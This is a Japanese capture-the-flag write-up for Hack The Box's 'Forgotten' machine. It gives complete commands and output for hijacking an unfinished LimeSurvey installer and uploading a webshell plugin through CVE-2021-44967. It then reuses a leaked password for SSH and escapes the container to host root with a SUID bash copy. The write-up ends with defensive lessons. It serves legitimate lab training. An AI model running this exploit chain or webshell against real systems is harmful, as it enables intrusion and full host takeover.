Hack The BoxのWriteup(Forgotten)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Forgotten — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http (403)
→
/survey = 未完了installer
攻撃者MySQL dockerをDBに指定
→
CVE-2021-44967
plugin manager 任意ファイルアップロード
→
webshell RCE
limesvc (docker内)
→
env LIMESURVEY_PASS漏洩
SSH limesvc@host
→
user.txt ✓
→
sudo ALL (docker内)
共有マウント /opt/limesurvey
→
SUID bash配置
container→host escape
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャンと /etc/hosts 設定

BASH
nmap -sV -sC -p- --min-rate 3000 10.129.234.81
echo "10.129.234.81  forgotten.vl" | sudo tee -a /etc/hosts
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp open  http    Apache httpd 2.4.56
ℹ️
ルート / は 403 Forbidden。ディレクトリ探索(feroxbuster/gobuster)が必須。

ディレクトリ探索 — /survey を発見

BASH
feroxbuster -u http://forgotten.vl/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
RESULT
200      GET      /survey/
→ LimeSurvey installer (未完了・DB未設定)
BASH
curl -s http://forgotten.vl/survey/ | grep -i title
RESULT
<title>LimeSurvey installer</title>
🚨
重要発見: LimeSurveyがまだインストールされていない状態で公開されている。 installer のDB設定ステップで、攻撃者が用意したMySQLサーバーを指定できてしまうため、 インストール完了後は攻撃者DBを使ったLimeSurveyインスタンスとして動作させられる。
PHASE 2

LimeSurvey Installer 乗っ取り — 攻撃者DBでインストール完了

攻撃者側MySQL(Docker)を起動

BASH
# 名前付きボリュームでDBを永続化しておくと、同じターゲットに対して
# installerをやり直す場合でもデータが消えずに安全(後述トラブルシューティング参照)
docker volume create forgotten-mysql-data
docker run -d --rm --name forgotten-mysql -p 3306:3306 \
  -v forgotten-mysql-data:/var/lib/mysql \
  -e MYSQL_ROOT_PASSWORD=password -e MYSQL_DATABASE=lime mysql:latest

# 起動完了(ポート3306で接続可能になるまで)を確認してから次に進む
until mysqladmin -h 127.0.0.1 -u root -ppassword ping 2>&1 | grep -q "mysqld is alive"; do sleep 5; done
RESULT
mysqld is alive
⚠️
mysql:latest イメージは「一時サーバーでDB初期化→シャットダウン→本サーバー起動」という 2段階の初期化を行い、コンテナ起動から実際にポート3306で接続を受け付けるまで約28秒かかる。 固定 sleep 20 等では不十分で、間に合わないまま次のステップに進むと installerが CDbConnection failed to open the DB connection で静かに壊れる。

installer ウィザードを進める (welcome → license → database)

BASH
JAR=/tmp/fgt_cookies.txt
BASE="http://forgotten.vl/survey"

# welcome: CSRFトークン抽出 → 言語選択POST
curl -s -c $JAR -b $JAR "$BASE/index.php?r=installer/welcome" -o /tmp/welcome.html
TOKEN=$(grep -oP '(?<=value=")[^"]*(?=" name="YII_CSRF_TOKEN")' /tmp/welcome.html)
curl -s -c $JAR -b $JAR -L "$BASE/index.php?r=installer/welcome" \
  --data-urlencode "YII_CSRF_TOKEN=$TOKEN" --data-urlencode "lng=en"

# license: 同意
curl -s -c $JAR -b $JAR "$BASE/index.php?r=installer/license" -o /tmp/license.html
TOKEN=$(grep -oP '(?<=value=")[^"]*(?=" name="YII_CSRF_TOKEN")' /tmp/license.html)
curl -s -c $JAR -b $JAR -L "$BASE/index.php?r=installer/license" \
  --data-urlencode "YII_CSRF_TOKEN=$TOKEN" --data-urlencode "loadname=" \
  --data-urlencode "confirmation=yes"

# database: 攻撃者MySQLを指定(InstallerConfigForm[...]の配列記法必須、dbengineは大文字MYISAM必須)
curl -s -c $JAR -b $JAR "$BASE/index.php?r=installer/database" -o /tmp/db.html
TOKEN=$(grep -oP '(?<=value=")[^"]*(?=" name="YII_CSRF_TOKEN")' /tmp/db.html)
curl -s -c $JAR -b $JAR -L "$BASE/index.php?r=installer/database" \
  --data-urlencode "YII_CSRF_TOKEN=$TOKEN" \
  --data-urlencode "InstallerConfigForm[dbtype]=mysql" \
  --data-urlencode "InstallerConfigForm[dbengine]=MYISAM" \
  --data-urlencode "InstallerConfigForm[dblocation]=<攻撃者IP>" \
  --data-urlencode "InstallerConfigForm[dbuser]=root" \
  --data-urlencode "InstallerConfigForm[dbpwd]=password" \
  --data-urlencode "InstallerConfigForm[dbname]=lime" \
  --data-urlencode "InstallerConfigForm[dbprefix]=lime_" \
  --data-urlencode "yt0=Next"
ℹ️
各ステップで YII_CSRF_TOKEN を再取得して送る必要がある。LimeSurveyの実際のHTML出力は value="..." name="YII_CSRF_TOKEN" の順(valueがnameより前)なので、属性順に依存しない 正規表現で抽出すること。

populatedb → admin アカウント作成で install 完了

BASH
# populatedb: 空DBへテーブル一式を自動作成
curl -s -c $JAR -b $JAR -L "$BASE/index.php?r=installer/populatedb" \
  --data-urlencode "YII_CSRF_TOKEN=$TOKEN" \
  --data-urlencode "createdbstep2=Populate database" -o /tmp/pop.html

# optional: 管理者アカウント作成 (ユーザー名/パスワードは自分で決める)
TOKEN=$(grep -oP '(?<=value=")[^"]*(?=" name="YII_CSRF_TOKEN")' /tmp/pop.html)
curl -s -c $JAR -b $JAR -L "$BASE/index.php?r=installer/optional" \
  --data-urlencode "YII_CSRF_TOKEN=$TOKEN" \
  --data-urlencode "InstallerConfigForm[adminLoginName]=forgotten" \
  --data-urlencode "InstallerConfigForm[adminLoginPwd]=forgotten123!" \
  --data-urlencode "InstallerConfigForm[confirmPwd]=forgotten123!" \
  --data-urlencode "InstallerConfigForm[adminName]=Administrator" \
  --data-urlencode "InstallerConfigForm[adminEmail]=admin@forgotten.vl" \
  --data-urlencode "InstallerConfigForm[siteName]=LimeSurvey" \
  --data-urlencode "yt0=Next"
RESULT
Congratulations! LimeSurvey has been installed successfully.
✅
install成功。 管理者アカウント forgotten:forgotten123! でログインできる状態になった。

管理者ログイン

BASH
curl -s -c $JAR -b $JAR "$BASE/index.php/admin/authentication/sa/login" -o /tmp/login.html
TOKEN=$(grep -oP '(?<=value=")[^"]*(?=" name="YII_CSRF_TOKEN")' /tmp/login.html)
curl -s -c $JAR -b $JAR -L "$BASE/index.php/admin/authentication/sa/login" \
  --data-urlencode "YII_CSRF_TOKEN=$TOKEN" \
  --data-urlencode "authMethod=Authdb" \
  --data-urlencode "user=forgotten" \
  --data-urlencode "password=forgotten123!" \
  --data-urlencode "loginlang=en" \
  --data-urlencode "action=login" \
  --data-urlencode "width=" \
  --data-urlencode "login_submit=login"
⚠️
ログインフォームには authMethod・width・login_submit の hidden/送信フィールドが必須。無いとフォームが無言で再表示されるだけで失敗する。 同じ Cookie jar を GET/POST 間で必ず使い回すこと(別jarを使うとCSRFトークン不一致で 400 malformed syntax になる)。
PHASE 3

CVE-2021-44967 Plugin RCE & user.txt 取得

webshell入りプラグインZIPを作成

PYTHON
import zipfile

PLUGIN = "Y1LD1R1M"
config = (
    '<?xml version="1.0" encoding="UTF-8"?>\n<config><metadata>'
    f'<name>{PLUGIN}</name><type>plugin</type>'
    '<version>5.0</version><author>x</author>'
    '<license>LGPL</license>'                     # ★必須タグ(後述)
    '<description>x</description></metadata>'
    '<compatibility><version>3.0</version><version>4.0</version>'
    '<version>5.0</version><version>6.0</version></compatibility>'
    '<updaters disabled="disabled"></updaters></config>'
)
webshell = "<?php system($_REQUEST['cmd']); ?>"
pclass = (
    f"<?php class {PLUGIN} extends "
    f"\\LimeSurvey\\PluginManager\\PluginBase {{ "
    f"protected $storage='DbStorage'; "
    f"static protected $description='x'; "
    f"static protected $name='{PLUGIN}'; "
    f"public function init(){{}} }}"
)
with zipfile.ZipFile("Y1LD1R1M.zip", "w") as z:
    z.writestr("config.xml", config)
    z.writestr("php-rev.php", webshell)
    z.writestr(f"{PLUGIN}.php", pclass)
🚨
ハマりポイント: config.xml に <license> タグが無いと、 アップロード自体は200で成功したように見えても、インストール確定時に 「The plugin could not be installed or updated: Missing tag license in metadata in extension config.xml」とだけ画面に表示され、プラグインファイルがディスクに一切書き込まれない (エラーログにも何も残らないため非常に気づきにくい)。

プラグインをアップロード & インストール確定

BASH
curl -s -c $JAR -b $JAR "$BASE/index.php/admin/pluginmanager" -o /tmp/pm.html
TOKEN=$(grep -oP '(?<=value=")[^"]*(?=" name="YII_CSRF_TOKEN")' /tmp/pm.html)

# アップロード (確認ページが返る)
curl -s -c $JAR -b $JAR -L "$BASE/index.php/admin/pluginmanager/sa/upload" \
  -F "YII_CSRF_TOKEN=$TOKEN" \
  -F "the_file=@Y1LD1R1M.zip;type=application/zip" \
  -F "lid=" -F "action=templateupload" -o /tmp/upload.html

# install確定 (確認ページのフォームと同じトークンを使う)
TOKEN=$(grep -oP '(?<=value=")[^"]*(?=" name="YII_CSRF_TOKEN")' /tmp/upload.html)
curl -s -c $JAR -b $JAR -L "$BASE/index.php/admin/pluginmanager?sa=installUploadedPlugin" \
  --data-urlencode "YII_CSRF_TOKEN=$TOKEN" \
  --data-urlencode "isUpdate=false" -o /tmp/install.html
RESULT
The plugin was successfully installed. You need to activate it before you can use it.
⚠️
もう一つのハマりポイント: install成功後も「activateするまで使えない」状態のまま。 プラグイン一覧ページ(ページネーションあり、名前のアルファベット順で複数ページに分割される)を 走査して <tr data-id="N">...<a>Y1LD1R1M</a> から pluginId を特定する必要がある。

pluginId を特定して activate

BASH
# 2ページ目で該当行を発見 (例: data-id="18")
curl -s -c $JAR -b $JAR "$BASE/index.php/admin/pluginmanager?page=2" -o /tmp/pm2.html
grep -oP 'data-id="\d+"(?=[^>]*>\s*<td><a[^>]*>Y1LD1R1M)' /tmp/pm2.html
# → pluginId=18 (インスタンスごとに変わる)

TOKEN=$(grep -oP '(?<=value=")[^"]*(?=" name="YII_CSRF_TOKEN")' /tmp/pm2.html)
curl -s -c $JAR -b $JAR -L -H "X-Requested-With: XMLHttpRequest" \
  "$BASE/index.php/admin/pluginmanager?sa=activate" \
  --data-urlencode "YII_CSRF_TOKEN=$TOKEN" \
  --data-urlencode "pluginId=18"
✅
activate後、HTB公式ウォークスルーが言及する「GUIでプラグイン一覧の「…」メニューから Active をクリック」という手動手順に相当する処理が完了し、webshellが到達可能になる。

RCE確認 & LIMESURVEY_PASS 漏洩

BASH
curl -s -G "http://forgotten.vl/survey/upload/plugins/Y1LD1R1M/php-rev.php" --data-urlencode "cmd=id"
curl -s -G "http://forgotten.vl/survey/upload/plugins/Y1LD1R1M/php-rev.php" --data-urlencode "cmd=env"
RESULT
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo)

HOSTNAME=efaa6f5097ed
LIMESURVEY_ADMIN=limesvc
LIMESURVEY_PASS=5W5HN4K4GCXf9E
PWD=/var/www/html/survey/upload/plugins/Y1LD1R1M
🚨
RCE成功。 このシェルはDockerコンテナ内の limesvc (groups に sudo を含む)。環境変数 LIMESURVEY_PASS がそのまま ホスト側 limesvc ユーザーのSSHパスワードと同一(パスワード再利用)。

SSHでホストに接続 & user.txt 取得

BASH
sshpass -p '5W5HN4K4GCXf9E' ssh limesvc@10.129.234.81 "id; cat /home/limesvc/user.txt"
RESULT
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc)   ← sudo無し(ホスト側はコンテナ内と別権限)
431cee1f6272150474d1e080b6aa2e0f
user.txt — limesvc@forgotten (host)
431cee1f6272150474d1e080b6aa2e0f
ℹ️
ホスト側のlimesvcはsudo権限を持たない一般ユーザー。昇格にはコンテナ内の limesvc(sudo権限あり)を経由する必要がある(Phase 4以降)。
PHASE 4

権限昇格の下調べ — コンテナ内 sudo & 共有マウント発見

コンテナ内(webshell経由)で sudo 権限を確認

BASH
curl -s -G "http://forgotten.vl/survey/upload/plugins/Y1LD1R1M/php-rev.php" \
  --data-urlencode "cmd=echo 5W5HN4K4GCXf9E | sudo -S -l 2>&1"
RESULT
User limesvc may run the following commands on efaa6f5097ed:
    (ALL : ALL) ALL
🚨
コンテナ内limesvcはパスワード付きでフルsudo可能 (ホスト側SSHの同一パスワードが使える)。sudo -S でパスワードを標準入力から渡す (TTY無しの環境では -S 必須)。

コンテナとホストの共有マウントを確認

BASH
curl -s -G "http://forgotten.vl/survey/upload/plugins/Y1LD1R1M/php-rev.php" \
  --data-urlencode "cmd=echo 5W5HN4K4GCXf9E | sudo -S mount 2>&1 | grep survey"
RESULT
/dev/root on /var/www/html/survey type ext4 (rw,...)
ℹ️
コンテナ内の /var/www/html/survey はホストの /opt/limesurvey と bind-mountで共有されている。コンテナ内でroot権限を取り、この共有ディレクトリに SUIDビット付きのバイナリを置けば、ホスト側からそのSUIDバイナリを直接実行できる (コンテナのroot特権をホストのファイルシステム経由で「輸出」する手法)。
PHASE 5

共有マウント経由 SUID bash escape → root.txt

コンテナ内root権限でSUID bashを共有マウントに配置

BASH
curl -s -G "http://forgotten.vl/survey/upload/plugins/Y1LD1R1M/php-rev.php" \
  --data-urlencode "cmd=echo 5W5HN4K4GCXf9E | sudo -S cp /bin/bash /var/www/html/survey/.rootbash 2>&1"
curl -s -G "http://forgotten.vl/survey/upload/plugins/Y1LD1R1M/php-rev.php" \
  --data-urlencode "cmd=echo 5W5HN4K4GCXf9E | sudo -S chmod 4777 /var/www/html/survey/.rootbash 2>&1"
curl -s -G "http://forgotten.vl/survey/upload/plugins/Y1LD1R1M/php-rev.php" \
  --data-urlencode "cmd=ls -la /var/www/html/survey/.rootbash"
RESULT
-rwsrwxrwx 1 root root 1234376 Oct 30 17:52 /var/www/html/survey/.rootbash
✅
/bin/bash を cp + chmod 4777 (SUID+全権限)でコピー。 共有マウント経由でホスト側の /opt/limesurvey/.rootbash にも同じファイルが root所有・SUID付きで即座に反映される。

ホスト側SSH(limesvc)からSUID bashを実行してroot化

BASH
sshpass -p '5W5HN4K4GCXf9E' ssh limesvc@10.129.234.81 \
  "ls -la /opt/limesurvey/.rootbash; /opt/limesurvey/.rootbash -p -c 'id; cat /root/root.txt'"
RESULT
-rwsrwxrwx 1 root root 1234376 Oct 30 17:52 /opt/limesurvey/.rootbash
uid=2000(limesvc) gid=2000(limesvc) euid=0(root) groups=2000(limesvc)
ef2169c2d9940c0de3c715f36b60f3ec
✅
bash -p (-p = privileged, SUIDで実効uidを保持したまま起動)で euid=0のシェルを獲得。/root/root.txt を直接読み取り成功。
root.txt — root@forgotten (host)
ef2169c2d9940c0de3c715f36b60f3ec

トラブルシューティング: 同一ターゲットへの再攻撃で installer が壊れる

NOTE
本検証では、一度 install を完了させた後に攻撃者側MySQLコンテナを
`docker rm -f` で再作成(ボリューム無し)したところ、ターゲット側の
config.php は以前のDB接続先を指したまま残っており、空になったDBに
接続しようとして installer の全ページ(welcomeページすら!)が

  CDbCommand failed to execute the SQL statement:
  Table 'lime.lime_settings_global' doesn't exist

という500エラーで完全に機能停止した。LimeSurveyは config.php が
存在する限り、インストーラURLでもDB接続を試みる実装のため、
一度でも「install済み」状態になると、空DBでは一切身動きが取れなくなる。

対策1 (予防): 攻撃者MySQLコンテナは名前付きボリュームでDBデータを
永続化しておく(本レポートのPhase 2-1参照)。コンテナを再作成しても
データは消えない。

対策2 (事後復旧): 以前の実行で webshell が既に
upload/plugins/<name>/php-rev.php に残っていれば、それは生PHPファイルで
Yii/DBを経由せず単体で動作し続けるため、これを使って壊れたconfig.phpを
削除すれば installer が「未インストール」状態に戻り、Phase 2 からやり直せる:

  curl -s -G ".../upload/plugins/Y1LD1R1M/php-rev.php" \
    --data-urlencode "cmd=rm -f /var/www/html/survey/application/config/config.php"
⚠️
同じターゲットに対して複数回検証する場合は特に注意。本番のHTBインスタンスでも、一度 インストールを完了させた後に攻撃者DBを破棄すると、再攻撃時にこの「installer完全ロック」状態に 陥る点は覚えておくとよい。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — limesvc@forgotten (host)
431cee1f6272150474d1e080b6aa2e0f
root.txt — root@forgotten (host)
ef2169c2d9940c0de3c715f36b60f3ec

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Installer乗っ取り LimeSurvey 未完了インストーラ (/survey) 任意DBを接続先として指定できる High installerのdatabaseステップで攻撃者MySQLを指定し、インストールを乗っ取る
CVE-2021-44967 LimeSurvey Plugin Manager リモートコード実行 (limesvc, コンテナ内) Critical config.xml(license タグ必須)+webshell+pluginクラスを含むzipをアップロード→install→activate
環境変数へのパスワード平文格納 Docker コンテナ env (LIMESURVEY_PASS) ホスト側同一パスワードでのSSHログイン Medium webshellで env を読み取り、パスワード再利用によりホストSSHへ横移動
Docker共有マウント + sudo ALL コンテナ /var/www/html/survey ⇔ ホスト /opt/limesurvey コンテナ→ホストの権限昇格 (root) Critical コンテナ内rootでSUID bashを共有ディレクトリに配置、ホスト側SSHから-pオプションで実行してroot化

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + feroxbuster22/80、/survey = LimeSurvey未完了installer
2Installer乗っ取り攻撃者MySQL docker + 多段POST(CSRF付き)install完了、admin: forgotten:forgotten123!
3Plugin RCECVE-2021-44967 (license タグ+activate必須)user.txt、LIMESURVEY_PASS漏洩
4権限調査sudo -l、mount(webshell経由)コンテナ内sudo ALL、共有マウント発見
5権限昇格SUID bash + 共有マウント container→host escaperoot.txt

学んだ教訓 & 防御策

問題点防御策
LimeSurveyのインストーラが未完了のまま本番公開されていた installerディレクトリは外部公開せず、インストール完了後は installer/ を削除・ブロックする。DB接続先をホワイトリストで制限する。
Plugin Manager経由で任意ファイル(webshell含む)をアップロード・実行できる(CVE-2021-44967) LimeSurveyを最新版に更新する。プラグインインストール権限は信頼できる管理者のみに限定し、アップロードされたファイルの拡張子・内容を検証する。
DockerコンテナのenvにDBパスワードを平文格納、かつホスト側アカウントとパスワード再利用 シークレットはenvではなくシークレット管理ツール(Vault等)で注入する。コンテナとホストでパスワードを分離する。
コンテナ内ユーザーにsudo ALLを許可、かつホストとの書き込み可能な共有マウントが存在 コンテナ内では最小権限(sudoを付与しない)を徹底する。ホストとの bind mount は読み取り専用にするか、SUIDビットの設置を防ぐ nosuid マウントオプションを付与する。
HackTheBox/VulnLab: Forgotten | 完全攻略レポート